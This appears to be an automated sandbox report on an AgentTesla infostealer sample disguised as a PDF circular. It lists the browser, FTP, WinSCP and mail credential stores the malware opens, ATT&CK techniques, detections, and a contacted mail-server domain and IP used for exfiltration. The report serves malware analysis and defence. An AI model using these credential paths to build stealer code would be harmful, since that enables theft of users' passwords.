                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

                  Stealing of Sensitive Information:

                  barindex
                  Yara detected AgentTeslaShow sources
                  Source: Yara matchFile source: 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6840, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6032, type: MEMORY
                  Source: Yara matchFile source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.NEW-P&I_Circularpdf.exe.432e540.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.NEW-P&I_Circularpdf.exe.432e540.4.raw.unpack, type: UNPACKEDPE
                  Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)Show sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
                  Tries to harvest and steal browser information (history, passwords, etc)Show sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                  Tries to harvest and steal ftp login credentialsShow sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
                  Tries to steal Mail credentials (via file access)Show sources
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                  Source: Yara matchFile source: 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6032, type: MEMORY

                  Remote Access Functionality:

                  barindex
                  Yara detected AgentTeslaShow sources
                  Source: Yara matchFile source: 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6840, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: NEW-P&I_Circularpdf.exe PID: 6032, type: MEMORY
                  Source: Yara matchFile source: 8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.NEW-P&I_Circularpdf.exe.432e540.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.NEW-P&I_Circularpdf.exe.432e540.4.raw.unpack, type: UNPACKEDPE

                  Mitre Att&ck Matrix

                  Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                  Valid AccountsWindows Management Instrumentation211DLL Side-Loading1DLL Side-Loading1Disable or Modify Tools1OS Credential Dumping2File and Directory Discovery1Remote ServicesArchive Collected Data11Exfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                  Default AccountsScheduled Task/Job1Scheduled Task/Job1Process Injection112Deobfuscate/Decode Files or Information1Credentials in Registry1System Information Discovery114Remote Desktop ProtocolData from Local System2Exfiltration Over BluetoothNon-Standard Port1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                  Domain AccountsAt (Linux)Logon Script (Windows)Scheduled Task/Job1Obfuscated Files or Information2Security Account ManagerQuery Registry1SMB/Windows Admin SharesEmail Collection1Automated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                  Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Software Packing3NTDSSecurity Software Discovery321Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol11SIM Card SwapCarrier Billing Fraud
                  Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsProcess Discovery2SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                  Replication Through Removable MediaLaunchdRc.commonRc.commonMasquerading1Cached Domain CredentialsVirtualization/Sandbox Evasion141VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                  External Remote ServicesScheduled TaskStartup ItemsStartup ItemsVirtualization/Sandbox Evasion141DCSyncApplication Window Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                  Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobProcess Injection112Proc FilesystemRemote System Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 signatures2 2 Behavior Graph ID: 383960 Sample: NEW-P&I_Circularpdf.exe Startdate: 08/04/2021 Architecture: WINDOWS Score: 100 33 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->33 35 Found malware configuration 2->35 37 Multi AV Scanner detection for dropped file 2->37 39 8 other signatures 2->39 7 NEW-P&I_Circularpdf.exe 7 2->7         started        process3 file4 21 C:\Users\user\AppData\Roaming\sfgTsm.exe, PE32 7->21 dropped 23 C:\Users\user\...\sfgTsm.exe:Zone.Identifier, ASCII 7->23 dropped 25 C:\Users\user\AppData\Local\...\tmpBA76.tmp, XML 7->25 dropped 27 C:\Users\user\...27EW-P&I_Circularpdf.exe.log, ASCII 7->27 dropped 41 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 7->41 43 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 7->43 45 Uses schtasks.exe or at.exe to add and modify task schedules 7->45 47 Injects a PE file into a foreign processes 7->47 11 NEW-P&I_Circularpdf.exe 6 7->11         started        15 schtasks.exe 1 7->15         started        17 NEW-P&I_Circularpdf.exe 7->17         started        signatures5 process6 dnsIp7 29 1300dentrepair.com.au 173.237.136.115, 49764, 49765, 587 ASMALLORANGE1US United States 11->29 31 mail.1300dentrepair.com.au 11->31 49 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->49 51 Tries to steal Mail credentials (via file access) 11->51 53 Tries to harvest and steal ftp login credentials 11->53 55 Tries to harvest and steal browser information (history, passwords, etc) 11->55 19 conhost.exe 15->19         started        signatures8 process9

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.

                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  NEW-P&I_Circularpdf.exe46%VirustotalBrowse
                  NEW-P&I_Circularpdf.exe23%ReversingLabsWin32.Trojan.AgentTesla
                  NEW-P&I_Circularpdf.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\Users\user\AppData\Roaming\sfgTsm.exe100%Joe Sandbox ML
                  C:\Users\user\AppData\Roaming\sfgTsm.exe23%ReversingLabsWin32.Trojan.AgentTesla

                  Unpacked PE Files

                  SourceDetectionScannerLabelLinkDownload
                  8.2.NEW-P&I_Circularpdf.exe.400000.0.unpack100%AviraTR/Spy.Gen8Download File

                  Domains

                  SourceDetectionScannerLabelLink
                  1300dentrepair.com.au0%VirustotalBrowse
                  mail.1300dentrepair.com.au1%VirustotalBrowse

                  URLs

                  SourceDetectionScannerLabelLink
                  http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
                  http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/F0%URL Reputationsafe
                  http://www.tiro.com0%URL Reputationsafe
                  http://www.tiro.com0%URL Reputationsafe
                  http://www.tiro.com0%URL Reputationsafe
                  http://www.tiro.com0%URL Reputationsafe
                  http://www.goodfont.co.kr0%URL Reputationsafe
                  http://www.goodfont.co.kr0%URL Reputationsafe
                  http://www.goodfont.co.kr0%URL Reputationsafe
                  http://www.goodfont.co.kr0%URL Reputationsafe
                  http://www.carterandcone.com0%URL Reputationsafe
                  http://www.carterandcone.com0%URL Reputationsafe
                  http://www.carterandcone.com0%URL Reputationsafe
                  http://www.carterandcone.com0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/Y0dl0%Avira URL Cloudsafe
                  http://www.sajatypeworks.com0%URL Reputationsafe
                  http://www.sajatypeworks.com0%URL Reputationsafe
                  http://www.sajatypeworks.com0%URL Reputationsafe
                  http://www.sajatypeworks.com0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/90%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/90%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/90%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/90%URL Reputationsafe
                  http://www.typography.netD0%URL Reputationsafe
                  http://www.typography.netD0%URL Reputationsafe
                  http://www.typography.netD0%URL Reputationsafe
                  http://www.typography.netD0%URL Reputationsafe
                  http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                  http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                  http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                  http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                  http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                  http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                  http://fontfabrik.com0%URL Reputationsafe
                  http://fontfabrik.com0%URL Reputationsafe
                  http://fontfabrik.com0%URL Reputationsafe
                  http://fontfabrik.com0%URL Reputationsafe
                  http://WArrNU.com0%Avira URL Cloudsafe
                  http://www.fonts.comn0%URL Reputationsafe
                  http://www.fonts.comn0%URL Reputationsafe
                  http://www.fonts.comn0%URL Reputationsafe
                  http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                  http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                  http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                  https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                  https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                  https://api.ipify.org%GETMozilla/5.00%URL Reputationsafe
                  http://www.sandoll.co.kr0%URL Reputationsafe
                  http://www.sandoll.co.kr0%URL Reputationsafe
                  http://www.sandoll.co.kr0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/T0%Avira URL Cloudsafe
                  http://www.urwpp.deDPlease0%URL Reputationsafe
                  http://www.urwpp.deDPlease0%URL Reputationsafe
                  http://www.urwpp.deDPlease0%URL Reputationsafe
                  http://www.zhongyicts.com.cn0%URL Reputationsafe
                  http://www.zhongyicts.com.cn0%URL Reputationsafe
                  http://www.zhongyicts.com.cn0%URL Reputationsafe
                  http://www.sakkal.com0%URL Reputationsafe
                  http://www.sakkal.com0%URL Reputationsafe
                  http://www.sakkal.com0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip0%URL Reputationsafe
                  http://mail.1300dentrepair.com.au0%Avira URL Cloudsafe
                  http://DynDns.comDynDNS0%URL Reputationsafe
                  http://DynDns.comDynDNS0%URL Reputationsafe
                  http://DynDns.comDynDNS0%URL Reputationsafe
                  http://www.fontbureau.comF0%URL Reputationsafe
                  http://www.fontbureau.comF0%URL Reputationsafe
                  http://www.fontbureau.comF0%URL Reputationsafe
                  http://www.fonts.comc0%URL Reputationsafe
                  http://www.fonts.comc0%URL Reputationsafe
                  http://www.fonts.comc0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/T0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/T0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/T0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                  https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/H0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/H0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/H0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/F0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/jp/0%URL Reputationsafe
                  http://www.fontbureau.come.com0%URL Reputationsafe
                  http://www.fontbureau.come.com0%URL Reputationsafe
                  http://www.fontbureau.come.com0%URL Reputationsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  1300dentrepair.com.au
                  173.237.136.115
                  truetrueunknown
                  mail.1300dentrepair.com.au
                  unknown
                  unknowntrueunknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://127.0.0.1:HTTP/1.1NEW-P&I_Circularpdf.exe, 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmpfalse
                  • Avira URL Cloud: safe
                  low
                  http://www.fontbureau.com/designersGNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                    high
                    http://www.fontbureau.com/designers/?NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                      high
                      http://www.founder.com.cn/cn/bTheNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      http://www.jiyu-kobo.co.jp/jp/FNEW-P&I_Circularpdf.exe, 00000000.00000003.645321880.0000000006175000.00000004.00000001.sdmpfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      http://www.fontbureau.com/designers?NEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                        high
                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name4NEW-P&I_Circularpdf.exe, 00000000.00000002.668996521.0000000003155000.00000004.00000001.sdmpfalse
                          high
                          http://www.tiro.comNEW-P&I_Circularpdf.exe, 00000000.00000002.678400926.0000000007382000.00000004.00000001.sdmpfalse
                          • URL Reputation: safe
                          • URL Reputation: safe
                          • URL Reputation: safe
